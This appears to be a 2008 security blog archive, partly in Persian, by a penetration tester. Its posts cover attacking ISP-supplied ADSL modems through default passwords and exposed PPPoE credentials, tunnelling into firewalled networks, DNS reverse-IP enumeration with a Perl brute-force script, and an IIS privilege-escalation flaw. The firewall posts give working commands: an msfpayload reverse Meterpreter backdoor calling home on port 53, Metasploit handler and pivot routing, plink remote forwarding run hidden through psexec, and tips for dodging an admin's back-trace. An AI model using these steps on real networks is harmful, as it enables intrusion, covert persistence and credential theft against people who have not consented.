April 27, 2008

Native win32 ports of some GNU utilities

If you`re kind of linux user who always misses great GNU utilities on his windows shell , then this post may let you make your windows more linux-friendly .
While searching for a win32 port of GNU 'patch' , I came across this great sourceforge page . Although I already have most of important tools ported to win32 , but this package seems clean and complete enough , for most users . This Emacs win32 port looks cool too , if you don`t like any of windows based text editors .

[update:09/01/2009]
I found this this project to be more decent than the one I've described above. update your bags :)

April 26, 2008

مشکلی جدی که جدی گرفته نمیشود

به احتمال زیاد شما نیز یکی از مشترکین سرویس ADSL هستید ، و این بدین معنی است که شما نیز جزوه گروه عظیم استفاده کننده گان از Embedded Device ها هستید . منظور من مودم مورد استفاده شما برای اتصال به سرویس ADSL است .

همانطور که ممکن است اطلاع داشته باشید ، توجه بسیاری از متخصصین و محققان در زمینه امنیت سیستم های اطلاعاتی مجددآ به سمت امنیت Embedded Device ها منعطف شده و این بدلیل شیوع حملات بر روی این سیستم هاست . مودم های اینترنتی ، Access Point های شبکه بیسیم و دوربین های اینترنتی (IP Cameras) از جمله محبوب ترین اهداف جاری هستند . طیف گسترده ایی از انواع آسیب پذیری های امنیتی بطور روزانه بر روی این سیستم ها در حال شناسایی است ، و حتی در کنفرانس های معتبر امنیتی نیز طی یکی دو سال اخیر شاهد مورد توجه قرار گرفتن این موضوع بوده ایم . تحقیقاتی مثل این این روزها بسیار به چشم میخورند.

در گذشته هدف از تحقیق و بررسی و آنالیز امنیتی Embedded Device ها بیشتر شناسایی ضعف های امنیتی ساختاری ، استخراج و آنالیز Firmware ها و استفاده از این سیستم ها بعنوان راهی برای دسترسی به شبکه های محافظت شده بود . شخصآ در موارد متعددی از این قبیل دستگاه ها ( IP Camera ، پرینتر تحت شبکه ، Wireless Modem ) بعنوان یک Backdoor Gateway برای دسترسی به شبکه هایی که با وجود فایروال امکان دسترسی به سیستم های آنها وجود نداشت استفاده کردم . اما امروز حتی دید و نحوه استفاده از ضعف های امنیتی نیز عوض شده . اگر چه اهداف خرابکارانه و ضعف های امنیتی سابق همچنان مورد توجه و استفاده هستند اما امروزه هدف اصلی نفوذگران اطلاعات شخصی کاربر است ! بنا بر این نفوذگران نیز به سراغ سیستم ها و دستگاه هایی میروند که بیشتر مورد استفاده کاربران نهایی و خانگی است .

در کل مشکلاتی که بر روی این قبیل سیستم ها وجود دارند در یکی از شاخه های زیر قرار دارند :

  • *مشکلات امنیتی مربوط به سیستم عامل و سرویس های مورد استفاده در دستگاه که از طریق شبکه در دسترس هستند . مانند مشکلات امنیتی در FTP Server و یا خود Web Server سیستم عامل یا همان Firmware دستگاه .
  • *مشکلات امنیتی مربوط به Interface ها و سیستم های ( غالبآ تحت وب ) مدیریت این دستگاه ها . مانند مشکلات امنیتی شناسایی شده در Web Interface مدیریت دستگاه .
  • *مشکلات امنیتی مربوط به ضعف های ساختاری موجود در سیستم .
  • *مشکلات امنیتی ناشی از وجود کلمات عبور پیشفرض Documented و Undocumented .

در ایران نیز با رواج ADSL ، سیل این قبیل دستگاه ها به خانه ها و ادارات و شرکت های بسیاری از کاربران روانه شده است . پنج سال پیش اگر محدوده های آدرس یک سرویس دهنده اینترنتی مورد پویش قرار میگرفت شاید تعداد بسیار محدودی Home Router ویا Wireless Access Point شناسایی میشد . اما امروزه کمتر سرویس دهنده اینرنت معتبری را میتوان یافت که در محدوده آدرس مربوط به کاربران آن ، ده ها Embedded Device قابل دسترس از طریق اینترنت وجود نداشته باشد . و بهمراه هر مدل از این دستگاه ها نیز ، طیف زیادی از انواع ضعف های امنیتی وجود دارد . طی چند ماه گذشته که شروع به بررسی این موضوع نموده ام ، هر روز نمونه جالب و جدیدی به چشم میآید !

نکته مهم در خصوص شیوع این مورد در ایران و خطر مربوط به آن ، نحوه اطلاع رسانی و سرویس دهی ISP های ایرانی میباشد . من هنوز موفق به پیدا کردن حتی یک ISP نشده ام که در مورد Firmware مودم های ADSL که به کاربران خود میفروشد سرویس دهی کند . منظور از سرویس دهی ، بطور مثال اطلاع رسانی در مورد مشکلات و نهدیدات امنیتی موجود در سیستم ، و یا حتی ساده تر از آن ، در اختیار قرار دادن نسخه های جدید Firmware است . چرا این مورد مهم است ؟ در ادامه خواهیم فهمید :

شما بعنوان یک کاربر خانگی نا آشنا به زیر و بم سیستم های کامپیوتری به ISP مورد نظر خود مراجعه کرده و پس از طی هفت خوان رستم ، در نهایت صاحب سرویس ADSL میشوید . یکی از این خوان ها تهیه سخت افزار مودم است . من تجربه ها و بررسی های شخصی خود در این مورد دا نا دیده میگیرم . آبا هرکز شده است که در زمان تحویل مودم ، و یا تحویل تنظیمات پیاده سازی شده به شما ، مسئول فنی مربوطه اخطاری در خصوص تعویض نام کاربری و کلمه عبور پیشفرض مودم به شما بدهد ؟ یقینآ خیر ! شاید موارد انگشت شماری بوده اما این مورد به هیچ عنوان عمومی نیست . آیا هرگز هیچ سرویس دهنده ایی را دیده اید که به شما در خصوص ارتقاع نسخه Firmware دستگاه اخطار و یا حتی توصیه ایی نماید . بدون شک خیر !


ماجرا را از دید یک نفوذگر دنبال میکنیم :

هر ISP ، تنها مدل های خاص و محدودی از مودم ها را پشتیبانی کرده و در اختیار مشتریان قرار میدهد . بدون حتی مراجعه حضوری ، با مراجعه به وب سایت شرکت و یا یک تماس تلفنی میتوان مدل های دقیق دستگاه ها را جویا شد .

مرحله بعد ، صرف چند دقیقه وقت برای جستجوی عباراتی کلیدی مانند "XYZ Modem + Vulnerability " است . کمتر پیش می آید که این قبیل جستجو ها به نتیجه مثبت نرسد . یکی دیگر از کلید های جستجوی بسیار مفید میتواند "XYZ Modem Default password" باشد ! زیرا تقریبآ تمامی این دستگاه ها دارای چنین نام کاربری و کلمه عبور پیشفرضی هستند . حال نفوذگر لیستی از مشکلات امنیتی و نام های کاربری پیشفرض مربوط به مدل های مورد جستجو را در اختیار دارد .

مرحله بعد ، جستجو برای شناسایی قربانی است ! محدوده های آدرس ثبت شده در بانک های اطلاعاتی سایت های WhoIs میتوانند بسیار مفید باشند . حال نفوذگر با آگاهی از محدوده آدرس ، پویش را آغاز میکند . با توجه به اینکه بسیاری از این مودم ها دارای رویه تحت وب (Web Interface) هستند ، جستجو برای IP هایی که دارای پورت باز 80 هستند میتواند شروع خوبی باشد . تصویر زیر حاصل بررسی است که در حال نوشتن این پست انجام دادم . برای یک ISP متوسط ، بیش از 130 دستگاه ، حاصل پویش یک محدوده آدرس خاص . چندان بد نیست !

همانطور که در تصویر مشاهده میکنید ، تنوع مدل های دستگاه ها بسیار کم است . نکته جالب تر در خصوص این سرویس دهنده و مودم های ان اینکه بررسی چند دقیقه ایی من نشان داد که بجز چند مورد ؛ نام کاربری و کلمه عبور پیشفرض بر روی کلیه مودم های شناسایی شده قابل استفاده بود . همچنین کلیه مودم هایی که Banner وب سرور آنها با "httpd" مشخص شده ، بصورت پیشفرض دارای یک FTP Server فعال هستند . نسخه FTP Server مورد استفاده در Firmware مودم دارای یک ضعف امنیتی جدی است که به نفوذگر امکان حصول دسترسی به سیستم را میدهد .

بسیار خوب ، نفوذگر تنها در عرض چند دقیقه موفق به فراهم کردن دسترسی به بیش از 100 مودم ADSL گردید . مفید ترین استفاده ایی که از آنها میتوان کرد چیست ؟

بسیاری از سرویس دهندگان ADSL در کشور ، از مکانیزم PPPoE برای کنترل و دسترسی کاربران به شبکه استفاده میکنند . در این حالت هر مشترک یک نام کاربری و کلمه عبور اختصاصی دارد ، که در اغلب موارد میزان پهنای باند مصرفی و محدودیت های مربوط به آن نیز از طریق همین نام کاربری کنترل میگردد . نکته جالب آنکه در تمام سرویس دهنده هایی که من آنها را تست کردم ، هیچ محدودیتی برای استفاده از نام کاربری یک مشترک دیگر بر روی خط ADSL شما وجود ندارد . و تکرار ماجراهای سرقت اطلاعات کارت های اینترنت کاربران در چندین سال پیش ، اینبار به روایتی جدید .... !!! .


مودم های ADSL مذکور ، در بخشی از تنظیمات خود نام کاربری و کلمه عبور PPPoE Connection را نیز ذخیره میکنند که از طریق رویه وب در دسترس است . اگرچه ظاهرآ کلمه عبور مخفی شده ، اما با روشی بسیار ساده مانند مشاهده HTML Source Code صفحه تنظیمات ، میتوان آنرا بدست آورد . فکر میکنم حالا شما نیز دید بهتری در مورد اهمیت مشکلات این فبیل دستگاه ها و لزوم جدی گرفتن آنها را دارید .

شاید در پستی دیگر ، به یکی دیگر از مشکلات امنیتی که بسیاری از سرویس دهنده های ADSL ایرانی گریبانگیر آن هستند ( مشکلات مربوط به پیاده سازی نا امن Routing Protocol های مورد استفاده ) بپردازم .

April 23, 2008

Bypassing firewalls with port forwarding - part 2

In part 1 , I talked about what port-forwarding is, and how we can use simple tools to do that . Then I introduced some interesting features of Metasploit and it`s Meterpreter payload to implement port-forwarding in a more advanced way , and finally how to use pivoting capabilities of Metasploit .

This time I`m going to discuss the same concept , but with using usual operating-system capabilities , among few not-hackers-specific tools like an ssh server/client .

If you remember part 1 , you saw that we used a raw meterpreter payload output ( anexecutable ) to connect a host withing internal protected network to our host in internet , and piggy back that connection to jump into firewalled network . While that feature of meterpreter looks exciting , that`s a hacker-friendly clone of a well known SSH feature with same 'port-forwarding' name . How ever , in order to use ssh in the same way as meterpreter , we should use another option as known as 'remote port forwarding' , or what we called 'reverse' port forwarding. Let`s see how these two work . Before begining , remember same A,B,C host example where :


Normal port forwarding with SSH: This is well known option . It means we use a SSH server installed on host B , to connect to host C or any other internal host . In this scenario , at least one dual-home ssh server should be there in protected network , and dual-home means B`s SSH daemon should be accessible from internet and be able to browse internal network too . Here`s how we use SSH client/servers to implement . I usually use PUTTY package as ssh client for windows . In case the only usage is port-forwarding , I use plink.exe from this package for reasons you`ll later know . I`ll follow same terminal-service example . Host C runs TS and we want host B to forward us to it :

On host A :
plink.exe {host-B} -P 22 -C -L 127.0.0.1:444:{host-C}:3389 -l username -pw password

Where:
{host-b} -P 22 is IP and port of SSH on the host located at boarder of network .
-C force compression . in most cases great performance increase , but if you only forward binary and already-compressed protocols , skip it .
-L 127.0.0.1:444:{host-C}:3389 means , we want normal port-forwarding ( -L ) . First colored part tells that start point of tunnel will be binded on 127.0.0.1 interface on our host ( A ) and listen on port 444 . So everything is sent to 127.0.0.01:444 will be forwaeded to end of tunnel . Second colored part represents end point of tunnel where our forwarded data will be sent to . Since we want to connect to terminal-service on host C , we used that . Mentioning '127.0.0.1' is optional and you can skip it , unless you wan to bind the socket to a specific interface on your system . In such case you should use IP of that interface.
-l and -pw are obvious . and the main reason we use plink.exe and not putty.exe for example , or any other common client. plink.exe accepts user/pass as a switch but other clients do not ! In cases you should launch forwarder in background or you don`t have interactive shell access , this comes pretty useful . Cause other clients requre interactive shell to enter password , unless you use cert-based authentication which have it`s own problems.

After successful negotiation , you can use same 'mstsc.exe 127.0.0.1:444' to connect to TS on host C . That`s it !

There`s another way to do normal port-forwarding with SSH too , and that`s Dynamic forwarding . Dynamic port-forwarding is nothing but a SOCKS v4 over SSH session . It means you use SSH server as SOCKS server to browse internal network hosts . This is pretty useful while you simply want to browse web-pages hosted there . of course socks-enabled programs can be used with this too . Here`s how to start it :

plink.exe {host-B} -P 22 -C -D 8888 -l username -pw password

-D starts the Dynamic port forwarding feature , AKA SOCKS . Above will make your ssh client a simple socks server which listen to port 8888 for incoming connections . Nothing complex to explain .
To learn more about ssh port forwarding , you can read this .

Remote port forwarding : This is the more cool feature , or what we`re going to actually use . Since it`s not usually possible to find a open ssh server on target network ( unless it`s lame target) normal forwarding would not be a possible scenario . Here`s where 'remote' port-forwarding comes handy . I`m not going to re-document this feature of ssh , you can ask Google for details . But I`ll just briefly explain how it should be used for our case , among few important notes and tricks.
In remote port-forwarding , the start point of tunnel will be on ssh-server , rather than own client , and the end of tunnel will be the host running ssh-client . In other words , In this scenario , host B runs the ssh-client and connect to a ssh-server outside of protected network . Then a port will be opened on ssh-server and anything sent to ssh-server on that port , will be forwarded to specified destination ( host C in our case ) .
Noticed the difference ? yes, this way attacker does not need to be able to ssh to any host in protected network . No ssh-server in protected network is even necessary . All we have to be able to execute inside protected network , is a ssh-client , plink.exe for example . Let`s try it :

Assuming that
  • We have a ssh-server under our control , running on our own host {host-A} or any server in internet
  • ssh server is configured to allow 'remote port forwarding' . This is the case only for OpenSSH running on *nix .
  • We have prepared a account which is permitted for doing 'remote' port forwarding. Usually only high privileged users (root) have this .
  • At least one host ( host B ) in protected network , have at least one open port in ACL of firewall to be able to connect to servers outside of network . Wise admins usually block all outgoing connections , so 53 maybe your lucky number again .
  • SSH server is listening on same port as above . So if only 53/tcp is allowed for outgoing , our ssh-server should be listening on same port .
We`ll run below command on host B :

plink.exe {host-A} -P 53 -C -R 127.0.0.1:444:{host-C}:3389 -l username -pw password

-R 127.0.0.1:444:{host-C}:3389 is the switch start remote forwarding where first colored part specifies start point of tunnel , and second colored part represents end point of tunnel . If you want to connect to tunnel entry point ( port 444 ) on same host as ssh-server , you can again skip 127.0.0.1:444 and use '-R 444:{host-C}:3389' . If ssh-server is running another host , say a zombie host , you should exactly specify IP address of interface you want to bind socket to . So if ssh-server is running on 1.2.3.4 , you should use '-R 1.2.3.4:444:{host-C}:3389' .
Another important note is that , by default ssh-server accepts connections to remote forwarded port ( 444 ) only from localhost ! So check configuration of your client/server on how to config that in correct way . In putty.exe this should be specified with a check mark as below . RTFM for how to do this on your favorite ssh client .


With above option allowed , now you can remotely connect to ssh-server on port 444 and get redirected to internal network and host C on port 3390 . Without that option , it would be possible to connect to port 444 only from the same host as ssh-server .That`s it ! Welcome to internal network .

Few other tips :
It`s not necessary to have a dedicated server for lunching ssh-server . If you`re running linux , all you have to do is to configure and start sshd . If you`re running windows, you can get a copy of Bitvise WinSSHD and setup it .
Since you`re leacing user/pass of your ssh-server on targeted host , be warned that you`re leaking a high privilege account there ! So , disable shell for that specific account so if a smart admin tried to back trace you , he won`t be able to instantly own your box . I`ve seen this really happened ! Changing password of that account after each connection is another solution BESIDE this.
To run the forwarder ( ssh client , plink.exe for example ) running in background , you can use PsEXEC to execute it hidden in background and with system privileges so it`s not killed by user :

psexec.exe -s -d plink.exe "plink parameters here"

Before closing this port , I`ve to mention that I updated part-1 with few lines mentioning two tools related to topic. Don`t miss them .

April 22, 2008

Bypassing firewalls with port forwarding - part 1

Many of you may have faced a big problem while trying to (legally!) gain access to internal network systems & services while you`ve began your attack from outside of boarders of target network : Firewall rules .
Assuming you`ve already gained access to at least one host which is linked to internal network , you know there are many other systems there inside, and many interesting services you should play with . The only problem is that you can not access them through internet , and gained shell is not powerful enough to let you do all of your post-exploitation tasks through it . So you should looks for a way to get rid of this limitation and freely browse and probe internal network . so called reverse shells may be your first try , but they are usually too simple and not powerful enough for what we`re going to do . Inthis post I`ll review some effective ways of doing so , in various situations . As a network administrator , you`ll also learn that how opening even one single port in your outbound ACL can put your whole internal network at sever risk.

First of all , let me explain what 'port forwarding' is .
Consider host "A" , hos "B" in middle , and host "C" . Host A should connect to host C in order to do something , but for any reason it`s not possible , but host B can directly connect to C . If we use host B in middle , to get connection stream from A and pass it to B while taking care of connection , we say host B is doing port-forwarding . Assuming the whole forwarding is happening to gain access to SSH on host C , this is how it`s happening from tcp/ip point of view:
Host B runs a software/service/wrapper that opens a listening socket ( tcp/20 for example) and wait for incoming connections . Host C ( real ssh-server) is also listening to 22/tcp . Running software on B is defined to pass any incoming connection on opened port to host C and on port 22/tcp . So if host A connect to 22/tcp of B , sent packets to this port are automatically relayed to C , port 22/tcp.

Right like many other terms used in attacks , port-forwarding is also divided into normal port-forwarding and reverse ( remote ) port forwarding . Above ABC sample was normal one .

In reverse port-forwarding , the case is again preparing connection between A & C through B . But this time it`s C who begin the connection . In a flat network design both of these can be same , but if you place host A in internet , host C in deep protected zones of internal network , and host B at boarder of protected network , things change a little bit !

Fpipe , WinRelay & DataPipe.exe are three free and simple tools designed to do simple port-forwarding . Let`s use fpipe.exe to implement above scenario and quickly move to more advanced hints. We run fpipe.exe with below parameters on host "B" , and host "A" have to ssh to host "B" . Now fpipe.exe will handle incoming connection ( -l 22 ) , and pass it to remote host and defined port ( -r 22 host-c ) . Nothing strange nor complex.

fpipe.exe -l 22 -r 22 host-C

Ok , let`s make scenario more real-world . what if even host "B" is behind firewall and no chance to open any port ? what if we can`t even send a single packet to host "B" , while host B is the only system in network which is allowed to connect to "C" ? hmm , this looks a hard scenario , but not really . In this scenario it`s also considered that host C ( final destination) is not allowed to send any packet to internet , but host B is allowed to send packets to internet , only if destination port is 53 . I don`t mind how you may have compromised host B at all . You may have done so by exploiting a client-side vulnerability on it , and got back your reverse-shell at response .

In such situation , tools like fpipe.exe will not help you much. Since we already have a negotiated connection between A and B we should it in most effective way because if we loose this connection before stabilizing our access (with a reverse-connecting trojan for example), we have to re-exploit the target which is not always possible .

For win32 targets , my favorite tool-set to bypass the firewall and get into internal network is Metasploit , with Meterpreter loaded as payload of exploit . Even if I`m not using one of MSF exploits to gain access , I use 'msfpayload' withing the framework to generate a raw binary output of Meterpreter , and use it as a single executable trojan .
What make Meterpreter a great post-exploitation tool for this case , is it`s port-forwarding capability . It`s great becase :
  • Meterpreter do NOT open any new connection between you (host A) and B , beside it`s negotiated session . All new communication channels are encapsulated in current session.
  • You can define multiple forwarding rules over a single Meterpreter session .
  • You can view/add/remove forwarding rules as you go while it`s running .
  • you can do many other things with Met. while port-forwarding is handled in background
  • Finally , you can directly exploit host C if Meterpreter is used within the framework , like when it`s load after successfully exploitng something .
If you just want to use benefits of Meterpreter , and have your own exploit ready , here`s how to generate the executable payload for being executed on host B :

msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=1.2.3.4 EXITFUNC=thread X > met-reverse-backdoor.exe

I think the syntax is clear enough . LHOST have the IP of host A , where backdoor will connect to . LPORT is the port backdoor connects to , on host A . I used 53 because this port is usually not filtered on firewalls . Now you should transfer met-reverse-backdoor.exe to host B , and get ready to execute it . Since this is not a normal payload and is an advanced multi-stage payload we should use it`s specific handler/client which is available in Metasploit . Let`s run the meterpreter handler . Launch the metasploit console , and :

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...


Now you`re ready to execute built .exe on host B . after that , you`ll see incoming connection on console , let the payload completely load and alert about opened session .
'portfwd' is the meterpreter command we`ll work with . try it without any parameter to get help , and read meterpreter documentations for farther info and details .

Let`s assume we want to connect to terminal-service on host C , directly from host A . With help of port-forwarding of Meterpreter , it`s matter of a command . In met. console run :

portfwd -a -L 127.0.0.1 -l 444 -h {IP of host C here} -p 3389

Let me explain above command if it`s not clear .

with (-a) we ADD a new port-forwarding rule .

(-L) defines the IP address to bind forwarded socket to . Since we`re running these all on host A , and want to continue work from the same host , we set 127.0.0.1 . If host A have multiple IPs and you want to bind to specific IP , you can set it here .
(-l) is the port number which will be opened on host A , for accepting incoming connections. it can be any free port on your system .
(-h) defines the IP address of host C , or any other host withing the internal network .
(-p) The port you want to connect to , on host C. Since we`re going to use terminal-service , it`s 3389 .

Now on host A , try to connect to terminal service through forwarded socket . to do so from console :

c:\>mstsc.exe /v:127.0.0.1:444

Congratulations . You`ve successfully bypassed firewall and got your reverse-connection terminal service session .
Same steps can be used for almost any TCP service . Unfortunately UDP services are not supported in Meterpreter .

But hey , I mentioned DIRECTLY exploiting intenral hosts from host A. Does it mean for every service we`re going to exploit, we should define a forwarding rule ? no .
Metasploit have a nifty option (command) called 'route' . While you`re in Meterpreter session if you ask for help you`ll see a 'route' command , but this is not our one . After met. session successfully loaded ( first opened session will be named as '1' ) , in console press Ctrl-z . This will get you back to Metasploit console , while keeping the meterpreter session open in background .
Run below command to confirm availability of session :

msf exploit(handler) > sessions -l

Active sessions
===============

Id Description Tunnel
-- ----------- ------
1 Meterpreter 127.0.0.1:53 -> 1.2.3.4:1913


Now type 'route' and check given help for syntax . Yes , this is what I was talking .

msf exploit(handler) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.

Our targetted internal network uses 10.10.0.1/24 network addressing . Host C internal IP is 10.10.0.5 . We want to exploit host D with IP address 10.10.0.6 . The lame way is to define a port-forwarding rule in met. , and send exploit payload to 127.0.0.1:{defined port} like what we did for terminal-service . But the better way is using 'route' :

msf exploit(handler) > route add 10.10.0.1 255.255.255.0 1
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
10.10.0.1 255.255.255.0 Session 1

msf exploit(handler) >


Above means we`ve successfully added the route . and what it means to Metasploit ?
It means that any time you set RHOST in any of you exploits in framework that match this routing rule , the exploit will be routed automatically by meterpreter to it`s destination network , transparently . Now to exploit 10.10.0.6 ( host D ) , all you have to do is '>set RHOST 10.10.0.6' in framework . All greets goes for HD Moore and Skape for preparing such cool framework :)

In part 2 of this topic , I`ll explain how to do port-forwarding trick with ssh , without any special third-party tool but the ssh client .


[Updated 23 April ] :

I had to mention two other third-party tools related to this topic , but as I was in hurry while sending it , seems I`ve completely forgot them . Anyway here are those two :

SocketNinja.pl , old part of Metasploit ( 2.x ) branch which is a pretty useful tool for this purpose IMO . You can get it from here , and read more about it here . It was my favorite pivoting tool for a while .

Reverse Proxy Multi-threading Engine by Team 514 guys , which can be assumed as a stand-alone clone of Meterpreter port-forwarding . While being pretty cool and poweful tool , I didn`t found the code-base stable enough for hardcore works or heavy duty jobs, and code needs optimization . Test it in your labs before using it in real-world missions .

April 21, 2008

Yet another trick to suck info from DNS

Tonight I was chatting with Roelof.Temmingh (A really cool and helpful man) , and we reached the point he recommended me to have a blog post about the topic we were on . so here it is Roelof ! He also mentioned many new cool and interesting updates that will be included in Maltego v2 in it`s upcoming release . Since I`m not sure about his plans , let`s wait till he officially release details through mailing-list .

There are few well-known ways to extract information from a DNS server :
  • Zone Transfer
  • Brute-force sub-domain names
  • Resolving hostnames to IP addresses
all of above methods are well documented everywhere . But there`s yet another trick to extract information from a DNS server we`ve targeted . I call it "Reverse IP brute-forcing" . Here`s how it`s done :

Depending on (mis)configuration of DNS servers , some times it`s possible to extract valid stored DNS records by querying the IP address from DNS and asking to resolve it . We usually ask "nslookup hostname.target.com ns1.target.com" and get back some IP . But this time we`ll ask "nslookup a.b.c.d ns1.target.com" and wait for response .

And how to fill a.b.c.d ? it can be either an INTERNAL ip address , or another public ip address related to targeted dns server . This trick comes extremely useful when zone-transfer is denied and brute-forcing hostnames didn`t gave you much interesting results . But relying to this trick ( of course if targeted DNS server is vulnerable to it ! ) you`re open to enumerate almost all useful records of the restricted DNS server directly and indirectly . Let`s try it in some real scenario :

{ Be warned that I`ve randomly choosed below domain to present the idea . I`m NOT responsible for YOUR tests against it . feel free to find and test your own test-bed ! }

Assume we want to enumerate any possible information from a target domain and it`s DNS server . first shoot would be ns.target.com , or ns1.target.com to get IP of responsible DNS server . we do host-name brute-force and fond ns1 , ns2 , .... , etc . Then we`ll try to do zone transfer , and doh ! we`re blocked .

> ls -d target.org
[ns2.target.org]
*** Can't list domain target.org: Query refused

Here we can begin our test . In order to check if server is ready for our attack , we feed it a valid IP in it`s range , to check if it can handle and resolve it back to a hostname for us. Valid means queried IP must be already responsive, for example try www.target.com`s IP.

> www.target.org
Server: ns2.target.org
Address: 2xx.1xx.16.10

Name: nioc-sa.target.org
Address: 2xx.1xx.16.4
Aliases: www.target.org

> 2xx.1xx.16.10
Server: ns2.target.org
Address: 2xx.1xx.16.10

Name: M.new-target.ir
Address: 2xx.1xx.16.10

Seems it`s working ! Next step can be trying all public IP addresses related to target . if everything goes fine , at the end you`ll have a list of host/domain names ,some of them even not in same domain as your targeted one , which means new tip for beginning another loop of foot-printing . At least you`ll know what OTHER domains are valid or hosted in the IP range you`ve targeted . good.
But note that same trick can be used to query INTERNAL hosts and IP addresses . How about enumerating hostnames of all internal clients and systems behind that mad firewall ? ;)
To do so , you must already know internal IP ranges, or at least guess it . quick guesses can be 10.x.x.x , 192.168.x.x or 172.16.x.x . But in case basic guesses failed :
  • Try to grab an email header by googleing "@target.com" or even send a junk mail to them and wait for any response . It`s very common to find internal IP addresses of systems in response headers .
  • Try any technical documentation available on support sites of target , like those explaining how to config proxy , email-client , etc ...
  • Crawl public web-sites hosted in targetted IP range , and check them one by one : in HTLM source look for any hyper-link to \\192.* or \\172.* or http://192.* or alike combinations . It`s again common to find image tags in HTLM linked to internal hosts or IPs .
  • Use your Google Fu , to do above task.
In my target case , last trick assumed to work . I browsed http://www.target.org , visited page-source , and a quick search resulted : " <a href="http://192.168.20.41/eorg " .
Now I`ve narrowed down to a specific range for brute-force .Now I can try this internal range as above , to enumerate info .

In order to speed this process I`ve prepared a very simple perl script :

#!/user/bin/perl
# DNS IP brute-forcer v0.1
# hamid@oissg.org
# --------------------------------------------
# This script use NET::DNS , if you don`t have it installed
# use below command (win32) to install it :
# "ppm install net-dns"
#
use Net::DNS;
$res = Net::DNS::Resolver->new;
$res->nameservers($ARGV[1]);
$res->tcp_timeout(1); #5
$res->udp_timeout(1); #5
$res->retry(1); #3
$res->retrans(1); #2
$res->debug(0);
$res->recurse(0);

my ($range,$host,$ip);
unless ($ARGV[0])
{
print "\n=======================\nDNS IP brute-forcer 0.1\nBy Hamid \@ oissg.org\n=======================\n";
print "This script try to abuse dns-server misconfiguration\n";
print "and extract valid hosts from server.\n";
print "Using this script against public dns-servers to brute-force\n";
print "internal IP ranges may give back interesting results ;)\n";
print "\nUsage: \n=======================\n";
print "dns-ip-brute.pl {ip-block} {dns-server}\n\n";
print "{ip-block}\tIP range you like to brute-force ,without last IP digit.\n";
print "{dns-server}\tDNS server to use for brute-force.\n";
print "=======================\n";
print "Example :\n";
print "dns-ip-brute.pl 192.168.1 80.90.100.200\n";
exit(0);
}

$range = $ARGV[0];
print "\nBrute-forcing $ARGV[0].*\n--------------------------\n\n";
for $host (2..254)
{
$ip = "$ARGV[0].$host";
$query = $res->query($ip);


if ($query)
{
foreach my $rr ($query->answer)
{
#next unless $rr->type eq "PTR";
#print $rr->address, "\n";
print "\n",$ip,"\t",$rr->rdatastr,;
#print $ip,"\t",$rr->string,"\n";
}
}
# else {
# #warn "query failed: ", $res->errorstring, "\n";
# warn "query failed!\n";
# }

#print "\rChecking (",$ip,")";
}
print "\n--------------------------\nDone!\n";


Running it against affected DNS server would result in something like this :


>dns-ip-brute.pl 2xx.1xx.16 2xx.1xx.16.10

Brute-forcing 2xx.1xx.16.*
--------------------------


2xx.1xx.16.4 mail.target.org.
2xx.1xx.16.10 M.target.ir.
2xx.1xx.16.24 payeshgari.target.ir.
2xx.1xx.16.250 samaneh.target.ir.
--------------------------
Done!


Recently I searched for the same trick in google again because my first try back in the days I was using it ,had no result containing any tool nor script .Now , seems FIRECE.pl is an alternative to mine , plus it have many other options for enumerating info from DNS servers . Check it out . TXDNS and DNS-Digger are my other favorite DNS tools , but non of them by default support this method . Some day I may release my modified versions based on these two tools .



Cool sql-injection case

People around me may have seen this before , but not everyone . so I`m publishing this here again . It shows you how simple tricks can be effective in unexpected situations . This simple scenario you see below , later opened my way to core internal network while a pen-test back in 2005 .



The lesson you may learn from it : Look EVERYWHERE for EVERYTHING, not just looking for expected behaviors in expected situations . The second way , you`re not acting creatively , causing you to loose many possible opportunities. Finding easy to exploit vulnerabilities is getting harder and harder these days .

April 19, 2008

The Good old known IIS 0-day

Microsoft mentioned it publicly , FINALLY !

check this out . Looks pretty interesting , huh ? And I`m sure your mind is so busy of finding the way to elevate to LocalSYSTEM from IIS user ... indeed it looks pretty juicy , specially on hosted environments .
Well , from poor (or good!) people`s point of view , this article is pretty good and useful as it tries to inform them about a known critical problem , and let them apply given workaround .
But from bad ( or hackers/expert) people`s point of view, this is pretty funny and at the same time scary ! Why ? Because this attack vector is semi-publicly ( through few commercial services ) known since early 2006 , and for sure known by various experts in the field even before that date . And guess what ? Recently there has been some discussions about such vector in PUBLIC mailing list , maybe talking about the same flaw ? ;) . These all means bad guys are already using the flaw to own you .
And after all , MS is just releasing an article . The only new thing I learned from this article was that Vista and win2008 are affected too . Thank you MS !

All I can say is , to follow MS workarounds in hope to make you a little more safer . I doubt if MS fix this attack vector soon , as fixing it maybe requires complete redesign of some of affected components , as some of experts mentioned. This ( or mentioned vectors in highlighted thread ) looks like one of those nasty design flaws Microsoft will face many problems while trying to fix .

and if it`s only an exploit that scares you enough to go for a fix as sysadmin :

Yes, this bug is known since at least 2 years ago , and working exploits/techniques for both IIS 5/6 and MS-SQL 2000 are already getting handed/traded/sold limitedly out there !


UPDATED [19 April]:
Some related info about the case , for those looking for even more details.
I also mistakenly included IIS 5.0 as affected (three lines above) while writing . Here I`m correcting it to 5.1/6.0 .

April 16, 2008

با تشکر !

چند پست پیش از این مطلبی در خصوص Foot-printing یا همان فاز جمع آوری اطلاعات در انجام تست نفوذ ارسال کرده بودم . این پست نیز روایتی دیگر از این فاز تست نفوذ میباشد .

یکی از موارد و مراحل بسیار مهم در انجام تست نفوذ (Penetration test) اولین مرحله آن و فاز جمع آوری اطلاعات میباشد. این اصل را شاید بسیاری از شما بدانید ، اما به احتمال زیاد درجه اهمیت آن را آنطور که باید تصور نمیکنید . مطالب بسیار زیادی در مورد foot-printing منتشر شده و من هم قصد تکرار آنها را ندارم . هدف از این پست تنها آشنایی با چند نکته وطنی در خصوص این فاز از بررسی است .

